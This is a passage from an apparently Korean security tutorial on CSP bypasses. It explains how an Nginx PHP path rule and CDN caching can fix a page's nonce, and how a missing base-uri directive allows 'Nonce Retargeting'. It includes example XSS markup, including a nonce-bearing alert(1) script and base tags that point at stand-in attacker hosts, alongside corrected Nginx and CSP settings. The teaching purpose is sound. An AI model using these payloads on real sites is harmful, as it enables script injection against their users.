์ด ์„ค์ • ๋•Œ๋ฌธ์— Nginx๋Š” ์š”์ฒญ๋œ URL์ด PHP ํŒŒ์ผ๋กœ ๋๋‚˜์ง€ ์•Š๋”๋ผ๋„ URL ๋‚ด์— .php ํŒŒ์ผ์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด ํ•ด๋‹น ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค. dom_xss_vulnerable.php ํŒŒ์ผ๋ช…์ด .php๋กœ ๋๋‚˜๊ธฐ ๋•Œ๋ฌธ์—, Nginx๋Š” ์ด ํŒŒ์ผ์„ ์‹คํ–‰ ๋Œ€์ƒ์œผ๋กœ ํŒ๋‹จํ•˜๊ณ  PHP-FPM์— ์‹คํ–‰์„ ์š”์ฒญํ•œ๋‹ค. 

 

์ด๋•Œ,  dom_xss_vulnerable.php ํŒŒ์ผ์ด ์‹คํ–‰๋˜์–ด nonce ๊ฐ€ <meta http-equiv="Content-Security-Policy" content="... nonce ..."> ํƒœ๊ทธ๋กœ ์ถœ๋ ฅ๋œ๋‹ค.

CDN์€ ๋ณดํ†ต CSS ๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ ๋“ฑ ์ •์  ํŒŒ์ผ์„ ์บ์‹ฑํ•˜๊ธฐ ๋•Œ๋ฌธ์— meta ํƒœ๊ทธ๋กœ ์ถœ๋ ฅ๋œ nonce ๋˜ํ•œ ๊ฐ™์ด ์บ์‹ฑ๋œ๋‹ค.

๋”ฐ๋ผ์„œ DOM XSS์— ์ทจ์•ฝํ•œ ํŽ˜์ด์ง€์˜ nonce ๊ฐ’์ด ๊ณ ์ •๋˜์–ด ๊ณต๊ฒฉ์ž๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ๋งˆํฌ์—…์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

<script nonce="{๊ณ ์ •๋œ nonce ๊ฐ’}">alert(1);</script>

 

PATH_INFO  ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ์„ค์ •์€ location ~ \.php$์ฒ˜๋Ÿผ URL์˜ ๋ ๋ถ€๋ถ„์ด .php์ผ๋•Œ๋งŒ FastCGI๋กœ ๋„˜์–ด๊ฐ€๊ฒŒ ์ˆ˜์ •๋˜์–ด์•ผ ํ•œ๋‹ค. ๋˜ํ•œ URL์— a/b.php/c/d.php์™€ ๊ฐ™์ด .php๊ฐ€ ์ค‘๋ณต ์‚ฌ์šฉ๋  ๋•Œ๋ฅผ ๋Œ€๋น„ํ•˜์—ฌ fastcgi-php.conf ์Šค๋‹ˆํŽซ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€๊ฒฝ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

location ~ \.php$ {
    try_files $uri =404;
    fastcgi_index index.php;
    include fastcgi.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
  • location ~ \.php$: ์ด ์ •๊ทœ ํ‘œํ˜„์‹์€ URL์ด .php๋กœ ๋๋‚˜๋Š” ๊ฒฝ์šฐ์—๋งŒ ํ•ด๋‹น ๋ธ”๋ก์˜ ์„ค์ •์„ ์ ์šฉํ•˜๋„๋ก ํ•œ๋‹ค. ์ฆ‰, URL ๋๋ถ€๋ถ„์— .php๊ฐ€ ์ •ํ™•ํžˆ ์œ„์น˜ํ•  ๋•Œ๋งŒ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์ œํ•œ์„ ๋‘”๋‹ค. ์ด๋ ‡๊ฒŒ ํ•จ์œผ๋กœ์จ, ์ค‘๊ฐ„์— .php๊ฐ€ ์—ฌ๋Ÿฌ ๋ฒˆ ๋“ฑ์žฅํ•˜๋Š” URL์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค.
  • try_files $uri =404: ์ด ์ง€์‹œ์–ด๋Š” ์š”์ฒญ๋œ URI๊ฐ€ ์‹ค์ œ๋กœ ์„œ๋ฒ„์— ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด 404 ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ์ด๋Š” ์„œ๋ฒ„๊ฐ€ ์ž˜๋ชป๋œ ํŒŒ์ผ ๊ฒฝ๋กœ์— ๋Œ€ํ•ด PHP ์ฒ˜๋ฆฌ๋ฅผ ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•œ๋‹ค.
  • fastcgi_index index.php;: ์ด ์„ค์ •์€ ์š”์ฒญ์ด ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋“ค์–ด์™”์„ ๋•Œ ๊ธฐ๋ณธ์ ์œผ๋กœ ์‹คํ–‰ํ•  PHP ํŒŒ์ผ์„ index.php๋กœ ์ง€์ •ํ•œ๋‹ค. 

 

(4) base-uri ๋ฏธ์ง€์ •

HTML ํ•˜์ดํผ๋งํฌ์—์„œ ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ ์—†์ด ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ํ˜„์žฌ ๋ฌธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ฃผ์†Œ๋ฅผ ํ•ด์„ํ•œ๋‹ค.

 HTML <base> ํƒœ๊ทธ๋Š” ๊ฒฝ๋กœ๊ฐ€ ํ•ด์„๋˜๋Š” ๊ธฐ์ค€์ ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ฉฐ, <a>, <form> ๋“ฑ์˜ target ์†์„ฑ์˜ ๊ธฐ๋ณธ ๊ฐ’์„ ์ง€์ •ํ•˜๋„๋ก ํ•œ๋‹ค.

 

๋งŒ์ผ ๊ณต๊ฒฉ์ž๊ฐ€ <base href="https://attack/xss-proxy/">์™€ ๊ฐ™์€ ๋งˆํฌ์—…์„ ์‚ฝ์ž…ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด, ์ถ”ํ›„ ์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” URL๋“ค์€ ๋ณธ๋ž˜ ์˜๋„ํ•œ ์œ„์น˜๊ฐ€ ์•„๋‹Œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์ž์›์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜์–ด ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ ๋“ฑ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

base-uri์€ ์ž„์˜๋กœ ์ง€์ •ํ•˜์ง€ ์•Š๋Š” ์ด์ƒ default ์ดˆ๊ธฐ ๊ฐ’์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค.

 

๋งŒ์•ฝ ํŽ˜์ด์ง€์— ์ž„์˜ ๋งˆํฌ์—…์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ์ง€๋งŒ, nonce CSP ๊ตฌ๋ฌธ์œผ๋กœ ์ธํ•ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์—†๋‹ค๊ณ  ๊ฐ€์ •ํ•  ๋•Œ, base-uri CSP ๊ตฌ๋ฌธ์„ ์ง€์ •ํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด base ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž„์˜ ์ž์›์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด์™€ ๊ฐ™์€ ํ˜•ํƒœ์˜ ๊ณต๊ฒฉ์„ Nonce Retargeting ์ด๋ผ๊ณ  ํ•œ๋‹ค. 

<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE> 
<!-- jquery.js๋Š” base ํƒœ๊ทธ์— ์˜ํ•ด https://malice.test/jquery.js๋ฅผ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค. -->

 

<base> ํƒœ๊ทธ์˜ href ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ํŽ˜์ด์ง€๋ผ๋ฉด ์ด๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด csp๋ฅผ ํ†ตํ•ด ์•„๋ž˜์™€ ๊ฐ™์€ ์ •์ฑ…์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

- base ํƒœ๊ทธ์˜ URL ์ œํ•œ

Content-Security-Policy: base-uri 'none'

 

์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, base-uri์€ ์ž„์˜๋กœ ์ง€์ •ํ•˜์ง€ ์•Š์œผ๋ฉด default ์ดˆ๊ธฐ ๊ฐ’์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. 

๋”ฐ๋ผ์„œ ์›น ์„œ๋น„์Šค๋ฅผ ๊ฐœ๋ฐœํ•  ๋•Œ์—๋Š” ๋ฐ˜๋“œ์‹œ base-uri ์ง€์‹œ๋ฌธ์„ ์ •์˜ํ•ด์•ผ ํ•œ๋‹ค. 

 
[์ฐธ๊ณ ]
๋“œ๋ฆผํ•ต CSP ๊ฐ•์˜
https://developer.mozilla.org/ko/docs/Glossary/CSP
https://developer.mozilla.org/ko/docs/Web/HTTP/CSP